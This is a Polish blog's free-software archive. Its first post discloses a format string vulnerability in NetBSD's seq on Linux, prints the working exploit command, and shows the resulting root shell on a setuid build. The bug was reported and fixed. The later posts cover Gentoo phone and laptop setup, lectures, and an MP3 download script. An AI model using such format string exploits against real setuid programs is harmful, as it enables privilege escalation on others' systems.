Archiwum kategorii ‘Wolne Oprogramowanie’

Format String Attack w programie seq projektu NetBSD

25 maja 2010, godzina 20:43

Zupełnie przypadkiem zauważyłem, że program seq z projektu NetBSD skompilowany i uruchamiany pod Linuksem wykazuje dziwne właściwości (podatności na atak związany z ciągami formatującymi):

chomzee@aleurwal:~/vulns$ ./seq -f %..%n 1 1
Segmentation fault

Po ustawieniu właściciela na root oraz bitu suid postanowiłem spróbować wykorzystać tę lukę do wykonania dowolnego kodu. Udało się:

chomzee@aleurwal:~/vulns$ ls -l seq
-rwsr-sr-x 1 root root 12349 2010-05-25 16:39 seq
chomzee@aleurwal:~/vulns$ ./seq -f  `printf "\xbc\xef\xff\xb
f"`____`printf "\xbd\xef\xff\xbf"`____`printf "\xbe\xef\xff\
xbf"`____`printf "\xbf\xef\xff\xbf"`xxxx`perl -e 'print "%..
%08x"x145'`%..%0193x%..%08n%..%060x%..%08n%..%0254x%..%08n%.
.%0184x%..%08n `perl -e 'print "0"x993'`1 1
����____����____����____����
xxxx%.0.00000000%.0.3ff00000%.0.bfffefa4%.0.00000000%.0.b7ff
9208%.0.b7ffeff4%.0.bfffeff0%.0.b7fff668%.0.080484ca%.0.b7ff
eff4%.0.00000000%.0.00000000%.0.b7ff8a08%.0.00000002%.0.0000
0066%.0.bfffefc0%.0.00000000%.0.00000000%.0.bff00000%.0.0000
0000%.0.00000066%.0.00000000%.0.00000000%.0.00000000%.0.3ff0
0000%.0.00000000%.0.3ff00000%.0.00000000%.0.bff00000%.0.bfff
ef98%.0.b7fb1b60%.0.bffff15c%.0.08049532%.0.00000000%.0.3004
9499%.0.b7ff2250%.0.bfffefc0%.0.bffff018%.0.b7e70455%.0.0804
9480%.0.080487e0%.0.bffff018%.0.b7e70455%.0.00000002%.0.bfff
f050%.0.bffff05c%.0.b7fe2e08%.0.00000001%.0.00000001%.0.0000
0000%.0.080484ca%.0.b7fb0ff4%.0.08049480%.0.080487e0%.0.bfff
f018%.0.ebdf8081%.0.da083491%.0.00000000%.0.00000000%.0.0000
0000%.0.b7ff72e0%.0.b7e7037d%.0.b7ffeff4%.0.00000005%.0.0804
87e0%.0.00000000%.0.08048801%.0.08048894%.0.00000005%.0.bfff
f044%.0.08049480%.0.08049470%.0.b7ff2250%.0.bffff03c%.0.b7ff
cae5%.0.00000005%.0.bffff153%.0.bffff159%.0.bffff15c%.0.bfff
f5b3%.0.bffff996%.0.00000000%.0.bffff998%.0.bffff9ab%.0.bfff
f9d5%.0.bffff9e5%.0.bffff9f0%.0.bffffa02%.0.bffffa0f%.0.bfff
fe38%.0.bffffe65%.0.bffffe98%.0.bffffec5%.0.bffffedc%.0.bfff
fef4%.0.bfffff05%.0.bfffff1c%.0.bfffff2f%.0.bfffff37%.0.bfff
ff47%.0.bfffffa9%.0.bfffffb6%.0.bfffffc9%.0.bfffffee%.0.0000
0000%.0.00000020%.0.b7fe3414%.0.00000021%.0.b7fe3000%.0.0000
0010%.0.078bf3ff%.0.00000006%.0.00001000%.0.00000011%.0.0000
0064%.0.00000003%.0.08048034%.0.00000004%.0.00000020%.0.0000
0005%.0.00000007%.0.00000007%.0.b7fe4000%.0.00000008%.0.0000
0000%.0.00000009%.0.080487e0%.0.0000000b%.0.000003e8%.0.0000
000c%.0.00000000%.0.0000000d%.0.000003e8%.0.0000000e%.0.0000
0000%.0.00000017%.0.00000001%.0.0000000f%.0.bffff14b%.0.0000
0000%.0.00000000%.0.69000000%.0.00363836%.0.2e000000%.0.7165
732f%.0.0000000000000000000000000000000000000000000000000000
00000000000000000000000000000000000000000000000000000000000.
0.%f5f5f5f50000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
0000000.0.%.0.%f5f5f5f50000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000
00000000000000000000000000000.0.%.0.%f5f5f5f5000000000000000
0000000000000000000000000000000000000.0.%.0.%00d266000000000
000000000000000000000000000000000000000000000000000000000000
0000000
bash-3.2# whoami
root
bash-3.2#

Luka przeze mnie odkryta na szczęście nie występuje w NetBSD, gdyż tam inaczej zaimplementowana jest funkcja printf. Zagrożenie występuje tylko w systemach linuksowych, które używają programu seq z projektu NetBSD. Jako, że w Linuksie powszechna jest wersja programu seq z projektu GNU, wątpię, czy istnieje na świecie maszyna, dla której ta luka mogłaby być zagrożeniem.

Jednak mimo wszystko, taka luka nie powinna się pojawić w tak poważnym projekcie — oprogramowanie powinno być przenośne, prawda? Wysłałem już “bug report”, czekam na reakcję ze strony deweloperów NetBSD.

Edycja:

Błąd już został poprawiony — reakcja deweloperów była błyskawiczna. Może dlatego, że niesłusznie zakwalifikowałem błąd do działu “security”. A może dlatego, że cała filozofia ruchu Open Source jest genialna. :)

Szyfrowanie z GnuPG

3 stycznia 2010, godzina 23:05

Serdecznie zapraszam na wykład, który będę miał przyjemność poprowadzić:

plakat

Jest to wykład z cyklu Open Academy.

EDIT:

Wykład się odbył, slajdy których użyłem można pobrać stąd.

Wąchaj i wstrzykuj — niskopoziomowe programowanie sieciowe w Linuksie

7 listopada 2009, godzina 22:44

Od dzisiaj można ten artykuł przeczytać online:

http://chomzee.ethernet.pl/wiw.pdf

Ściąganie muzyki z wrzuty, odsłona druga :)

18 czerwca 2009, godzina 14:31

Poprawiłem skrypt wrzutaget, uwzględniając zmiany wprowadzone całkiem niedawno temu przez administratorów serwisu wrzuta.pl. Można dzięki niemu ściągać pliki w formacie mp3 z owego portalu.

Stworzyłem również stronę wrzutagetcgi, dzięki której można wykonywać tę czynność prosto z przeglądarki WWW, niezależnie od systemu operacyjnego.

Mam nadzieję, że moje narzędzia okażą się komuś pomocne.

Sony Ericsson K750i + GNU/Linux (Gentoo)

16 maja 2009, godzina 13:11

phonePrzygotowanie Gentoo do współpracy z SE K750i nie jest trudne, jednak szukanie informacji na ten temat w sieci może być czasochłonne, postaram się więc umieścić parę porad dotyczących wymiany plików, udostępniania internetu przez GPRS, odbierania i wysyłania SMS oraz zdalnego sterowania.

Poniższa konfiguracja dotyczy SE K750i, Gentoo Linux i operatora sieci komórkowej Orange. Jednak prawdopodobnie konfiguracja podobnego modelu telefonu w innej sieci komórkowej i innej dystrybucji Linuksa będzie różniła się o mały epsilon.

Wymiana plików przez kabel USB

Po podłączeniu telefonu do komputera przez kabel USB, jądro Linuksa automatycznie rozpoznaje urządzenie, które można podmontować w taki sam sposób, jak byśmy podłączali do komputera pendrive. Uzyskujemy w ten sposób dostęp do systemu plików podłączonej karty pamięci. Niestety, nie udało mi się znaleźć informacji, jak w podobny sposób podmontować pamięć telefonu.

Udostępnianie internetu przez GPRS

Po podłączeniu kabla USB powinien zostać utworzony plik /dev/ttyACM0. Jeśli taki plik nie istnieje, należy wkompilować do jądra Linuksa obsługę ACM (CONFIG_USB_ACM).

Przyda nam się pakiet ppp, jeśli go nie mamy, instalujemy go oczywiście poleceniem:

# emerge ppp

Następnie tworzymy dowiązanie net.ppp0 w katalogu /etc/init.d:

# cd /etc/init.d
# ln -s net.lo net.ppp0

Edytujemy plik /etc/conf.d/net, dopisując coś na kształt:

config_ppp0=( "ppp" )
link_ppp0="/dev/ttyACM0"
pppd_ppp0=(
'connect "/usr/sbin/chat -v -f /etc/chatscripts/orange-gprs"'
'disconnect "/usr/sbin/chat -v -f /etc/chatscripts/orange-gprs-off"'
'/dev/ttyACM0'
'115200'
'crtscts'
'local'
'noipdefault'
'usepeerdns'
'defaultroute'
'default-asyncmap'
'noccp'
'novj'
'nobsdcomp'
'novjccomp'
'persist'
'noauth'
)

Następnie tworzymy plik /etc/chatscripts/orange-gprs zawierający następującą treść:

TIMEOUT 10
ECHO ON
ABORT "NO CARRIER"
ABORT "NO DIALTONE"
ABORT "ERROR"
ABORT "NO ANSWER"
ABORT "BUSY"
'' 'rATZ'
OK AT+CGDCONT=1,"IP","internet"
OK ATD*99#
CONNECT ``

Oraz plik /etc/chatscripts/orange-gprs-off:

ABORT "NO CARRIER"
ABORT "NO DIALTONE"
ABORT "ERROR"
ABORT "NO ANSWER"
ABORT "BUSY"
"" "K"
"" "+++ATH"

Potrzebujemy jeszcze nazwę użytkownika i hasło umieścić w pliku /etc/ppp/chap-secrets:

"internet" * "internet"

Pozostaje nam tylko uruchomić skrypt, by uzyskać połączenie:

# /etc/init.d/net.ppp0 start

Przy okazji warto na bieżąco śledzić systemowe logi, by sprawdzić, czy wszystko toczy się po naszej myśli. Połączenie przerywamy oczywiście komendą:

# /etc/init.d/net.ppp0 stop

Dostęp do książki adresowej i wiadomości SMS

Do synchronizacji adresów i SMSów możemy użyć graficznego programu kmobiletools, który jest banalnie prosty w obsłudze. Należy się jedynie upewnić, że konfigurując urządzenie podaliśmy odpowiednią ścieżkę do urządzenia (/dev/ttyACM0).

# emerge kmobiletools

Bluetooth

Do połączenia komputera z telefonem przez Bluetooth użyłem adaptera D-Link DBT-122. Należy się upewnić, że w jądrze Linuksa mamy wkompilowane wszystko co jest konieczne (do obsługi wspomnianego adaptera używam modułu btusb). Należy również przygotować Gentoo do obsługi standardu Bluetooth. Dodajemy flagi “bluetooth” i “old-daemons” do USE i instalujemy następujące pakiety:

# emerge bluez-libs bluez-utils bluez-firmware obexftp

Po włożeniu adaptera do slotu USB automatycznie powinien uruchomić się skrypt /etc/init.d/bluetooth. Aby uzyskać adres sprzętowy telefonu, należy (oczywiście przy BT włączonym w telefonie) wykonać skanowanie poleceniem:

# hcitool scan

Mając ten adres możemy użyć na przykład programu obexftp-frontend do bezprzewodowej wymiany plików, który jest de facto nakładką graficzną programu obexftp napisaną w Javie.

Aby zestawić połączenie przez GPRS za pomocą BT zamiast kabla USB, należy nawiązać połączenie. Upewniamy się, że w /etc/conf.d/bluetooth widnieją następujące opcje:

RFCOMM_ENABLE=false
RFCOMM_CONFIG="/etc/bluetooth/rfcomm.conf"
HCID_ENABLE=true

Po czym do pliku konfiguracyjnego /etc/bluetooth/rfcomm.conf dopisujemy:

rfcomm0 {
        bind yes;
        device 00:XX:XX:XX:XX:XX; # adres sprzetowy telefonu
        channel 1;
}

Teraz poleceniem `rfcomm -S connect 0` nawiązujemy połączenie z telefonem. Jednak po co robić to ręcznie, trzymajmy się filozofii Gentoo. Tworzymy więc plik /etc/init.d/phone:

#!/sbin/runscript
depend() {
        need bluetooth
}

start() {
        ebegin "Starting phone"
        start-stop-daemon --start --quiet -b -n rfcomm \
                --startas /usr/bin/rfcomm -- -S connect 0
        eend $?
}

stop() {
        ebegin "Shutting down phone"
        start-stop-daemon --stop --quiet -b -n rfcomm
        eend $?
}

Jeśli wszystko pójdzie po naszej myśli, po wydaniu polecenia `/etc/init.d/phone start` zostanie utworzony plik /etc/rfcomm0. Teraz możemy odwoływać się do niego identycznie jak do /etc/ttyACM0. Zamieniamy więc wszystkie ttyACM0 na rfcomm0 w pliku /etc/conf.d/net.

Zdalne sterowanie przez Bluetooth odbywa się po wydaniu polecenia (wprowadzając poprawny adres sprzętowy telefonu):

# hidd --connect 00:??:??:??:??:??

Dostęp do książki adresowej i SMS odbywa się analogicznie jak w przypadku połączenia przez kabel, należy jedynie w oknie konfiguracyjnym kmobiletools zmienić adres urządzenia z /dev/ttyACM0 na /dev/rfcomm0.

Sieci bezprzewodowe — prezentacja

19 marca 2009, godzina 17:38

Z okazji laboratorio-seminarium z kursu o przyjemnej nazwie “Anatomia PC”, zmuszony byłem wygłosić prezentację. Była to dla mnie oczywiście sama przyjemność, zwłaszcza, że mówiłem o sieciach bezprzewodowych. Z uwagi na charakter kursu, starałem się podejść do tematu jak najbardziej sprzętowo, nie uniknąłem jednak niezwykle ważnej i ciekawej kwestii jaką jest bezpieczeństwo sieci bezprzewodowych.

Slajdy z mojej prezentacji można oczywiście swobodnie ściągnąć z sieci:

http://chomzee.ethernet.pl/studia/anatomia_pc/sieci_bezprzewodowe.pdf

HP Pavilion dv6326eu + gentoo Linux

24 lutego 2009, godzina 20:27

Półtora roku temu kupiłem laptopa. W tym czasie zepsuł się już dwa razy — za każdym razem winna była płyta główna.

Ogromnie się rozczarowałem, gdy odebrałem swojego HP Paviliona dv6326eu z serwisu. Panowie naprawiający mój komputer zainstalowali na nim windowsa, niszcząc mój piękny system operacyjny i wszystkie dane znajdujące się na moich partycjach (backup to dobra rzecz).

Miałem takie dziwne przeczucie, więc postarałem się dowiedzieć, czy byłaby możliwość wysłania laptopa bez HDD. Za pierwszym razem usłyszałem “nie będzie problemu, proszę poczekać, jutro zadzwonią do pana ludzie z serwisu i udzielą panu więcej informacji”. Otrzymałem następnie informację od pani, że “technicy nie zgadzają się na serwisowanie urządzenia bez dysku twardego”. Tak więc nie polecam serwisu HP, chyba że jesteś przygotowany na utratę danych.

Z tego powodu poświęciłem (zmarnowałem) kilka dni, żeby od nowa postawić gentoo. Umieszczam kila informacji jak skonfigurować poszczególne elementy do pracy z Linuksem x86_64. Mam nadzieję, że komuś okażą się one przydatne.

Karta graficzna:

# lspci | grep Geforce
00:05.0 VGA compatible controller: nVidia Corporation C51 [Geforce 6150 Go] (rev a2)

Sterownik od Nvidii: NVIDIA-Linux-x86_64-96.43.09-pkg2.run. Działają wyśmienicie.

Karta dźwiękowa:

# lspci | grep Audio
00:10.1 Audio device: nVidia Corporation MCP51 High Definition Audio (rev a2)

Sterownik — hda_intel, w jądrze Linuksa.

Karta sieciowa LAN:

# lspci | grep Ethernet
00:14.0 Bridge: nVidia Corporation MCP51 Ethernet Controller (rev a3)

W jądrze Linuksa.

Karta sieciowa WiFi:

# lspci | grep Broadcom
03:00.0 Network controller: Broadcom Corporation BCM4311 802.11b/g WLAN (rev 01)

Działa poprawnie z ndiswrapper. Użyte sterowniki: ftp://ftp.hp.com/pub/softpaq/sp33001-33500/sp33008.exe, plik bcmwl5.inf. Do wstrzykiwania pakietów może kiedy indziej pobawię się modułem b43, który znajduje się w jądrze Linuksa. Jeśli chcesz używać ndiswrapper, upewnij się, że moduły b43 oraz ssb nie są ani wkompilowane ani załadowane.

Kamera internetowa:

# lsusb | grep Mic
Bus 001 Device 002: ID 0c45:62c0 Microdia

Sterownik uvcvideo z jądra Linuksa. Działa wyśmienicie w programie Skype. Polecam również program guvcview.

Czytnik kart SD:

# lspci | grep SD
07:05.1 SD Host controller: Ricoh Co Ltd R5C822 SD/SDIO/MMC/MS/MSPro Host Adapter (rev 22)

Działa dobrze po wydaniu polecenia:

# setpci -s 07:05.1 4c.b=0x02

Oczywiście trzeba odpowiednie rzeczy w kernelu mieć (wszystko dołączone w standardowym Linuksie).

FireWire:
Nie używam.

PC Card:
Nie używam.

Czujniki temperatury:
Działają — po jednym na każdym rdzeniu procesora, jeden na karcie graficznej i jeden w tzw. “thermal zone” (cokolwiek to jest).

Matryca:
Rozjaśnianie i przyciemnianie działa “out of box” klawiszami fn+f7,f8, potrzeba jedynie ACPI_VIDEO w kernelu.

Touchpad:
Sterownik synaptics w xorg.

Dodatkowe klawisze dotykowe:
Za pomocą xmodmap przypisujemy klawiszom dotykowym specjalne znaczenie. Przydaje się program xev, który wykrywa kod każdego z klawiszy.

CD-ROM/DVD:
Działa: czyta i nagrywa. Lightscribe nie testowałem.

Pilot:
Działa “out of box”.

Wypadałoby również pochwalić się screenshotami :).

Ściąganie muzyki z serwisu wrzuta.pl

5 lutego 2009, godzina 23:59

Przeglądając serwis wrzuta.pl zauważyłem mnóstwo komentarzy typu “prześlij proszę ten utwór na adres takitamadres@wp.pl”. Byłoby o wiele prościej, gdyby tacy internauci sami potrafili sobie ściągnąć wybrany utwór z wrzuty. No bo to przecież jest teoretycznie możliwe — skoro flashowy odtwarzacz na *Twoim* komputerze odgrywa muzykę, to musiał ją wcześniej skądś ściągnąć, prawda? Problem w tym, że ukrywa przed użytkownikiem możliwość zapisu pliku MP3 na dysk…

Rozpatrzmy taki oto przykład:

http://djyas.wrzuta.pl/audio/6hnvDcoBjU/lambada

Okazuje się, że interesować nas powinien tylko ten “śmieszny” ciąg literek w adresie do utworu: 6hnvDcoBjU. Plik dźwiękowy bowiem znajduje się pod adresem:

http://www.wrzuta.pl/aud/file/6hnvDcoBjU

Po wpisaniu takiego adresu, przeglądarka sama ściąga plik. Jedyne co musimy potem zrobić, to zmienić nazwę (dodać końcówkę “.mp3″).

W taki sposób każdy internauta może sobie ściągnąć na dysk twardy utwór z wrzuty. Jeśli natomiast używamy systemu GNU/Linux albo jakiegoś innego na którym działa perl i wget, możemy ściągnąć mój skromny skrypt, który automatyzuje całą pracę.

morpheus-0.4

29 grudnia 2008, godzina 22:24

Pojawiła się wersja 0.4 bota morpheus, a wraz z nią poprawki błędów oraz przekompilowana wersja dla systemów Ms Windows.

Więcej informacji na stronie bota.

Loki @ 120MHz

25 października 2008, godzina 18:15

pentiumZ powodu awarii mojego serwera-routera-accesspointa-telewizora domowego (4 w 1) zmuszony zostałem wymienić hardware. Jednak zdecydowałem się nie inwestować w nową płytę główną, tylko wskrzesić ciut starszy komputer…

Pod ręką miałem maszynę z procesorem Pentium taktowanym częstotliwością 120MHz. Do dyspozycji 32MB pamięci RAM, brak USB i wielu innych nowoczesnych bajerów. Pod kontrolą dobrze postawionego systemu Linux śmiga aż miło i idealnie sprawdza się do zaplanowanych dla niego zadań.

Wyszło tanio, cicho, elegancko. Jest miło gdy 13-letni sprzęt działa bez zastrzeżeń, prawda? Ciekawe czy będzie mniej awaryjny niż jego młodsi i szybsi poprzednicy.